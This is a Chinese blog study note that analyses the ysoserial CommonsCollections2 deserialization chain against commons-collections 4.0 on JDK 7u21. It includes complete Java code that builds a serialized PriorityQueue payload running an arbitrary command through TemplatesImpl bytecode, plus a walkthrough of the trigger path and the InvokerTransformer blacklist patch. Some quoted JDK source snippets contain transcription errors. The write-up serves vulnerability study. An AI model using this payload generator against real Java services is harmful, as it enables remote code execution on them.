简介

适用版本:commons-collections-4.0, jdk7u21及以前

反序列化漏洞点是InvokerTransformer类的transform方法,并且在TransformingComparator的compare方法中有所调用,该compare方法是java.util.Comparator的compare方法的实现方法。Comparator接口的compare方法在PriorityQueue插入元素时会自动调用,对元素进行比较并排序。

jdk7u21

我们只需要调用包含恶意字节码的TemplatesImpl对象的利用链中的任意函数getOutputProperties、newTransformer就能够造成REC。

主要代码

public class CommonCollection2Payload {
//    通过javassist动态创建类的时候需要用到这个类
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
// 设置成员变量值
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
//  获取成员变量值得
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = null;
        try {
            field = obj.getClass().getDeclaredField(fieldName);
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        return field.get(obj);
    }
//  7u21反序列化漏洞恶意类生成函数
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes});
        // required to make TemplatesImpl happy
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final Object templates = createTemplatesImpl(command);
        // payload中再次使用了InvokerTransformer,可见这个在3.2.2版本中被拉黑的类在4.0中反倒又可以用了
        //这个toString值只是个幌子,后面会通过setFieldValue把iMethodName的值改成newTransformer
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        // payload中的核心代码模块,创建一个PriorityQueue对象,并将它的comparator设为包含恶意transformer对象的TransformingComparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // 先设置为正常变量值,在后面通过setFieldValue来修改
        queue.add(1);
        queue.add(1);
        // 不再像第一个payload中一样直接去调用调出runtime的exec,而是通过调用TemplatesImpl类的newTransformer方法来实现RCE
        setFieldValue(transformer, "iMethodName", "newTransformer");
        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

利用链

cc21.png

分析

反序列化时候调用PriorityQueue的readObject方法,并在函数最后调用heapify方法

public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) {
    if (initialCapacity < 1)
       throw new IllegaLArgumentException();
    this.queue = new Object[initialCapacityl; 
    this.comparator = comparator;
}
private void readobject(java.io.objectInputStream s)
                     throws java.io.IOException, ClassNotFoundException {
    s.defaultReadobject();
    s.readInt();
    queue = new Object [size];
    for (int i = 0; i< size; i++)
    queue [i] =s.readobject();
    heapify();
}

heapify方法会把PriorityQueue的queue变量作为参数去调用siftDown方法

private void heapify() {
    for (int i = (size >>> 1) -1; i>= 0; i--)
        siftDown(i, (E) queue[il);
}

只要有comparetor就会去调用siftDownUsingComparator方法

private void siftDown(int k, E x) { 
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else 
        siftDownComparable(k, x);
}

调用siftDownUsingComparator的compare方法,这个comparator就是TransformingComparator类

private void siftDownUsingComparator(int k, Ex) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) +1; 
        object c = queue [child]; 
        int right = child + 1; 
        if (right < size &s comparator.compare((E) c, (E) queue[right]) >0)
            c = queue [child = right]; 
        if (comparator.compare(x, (E) c) <= 0)
            break; 
        queue [k] = c; 
        k = child; 
     }
     queue[k] =x;
}

成功调用到恶意tranformer的tranform方法,并把恶意TemplatesImpl作为参数传入,剩下的就是jdk7u21里边的调用了。

public int compare(final I obj1, final I obj2) { 
    final 0 valuel = this.transformer.transform(obj1);
    final 0 value2 = this.transformer.transform(obj2); 
    return this.decorated.compare(valuel, value2);
}

补丁

4.0的补丁,和3.2.2一样,把InvokerTransformer给拉黑了。

参考文章

雷神众测ysoserial分析之CommonsCollections2
java反序列化jdk7u21反序列化 Paylod学习笔记

Last modification:April 21st, 2020 at 09:16 pm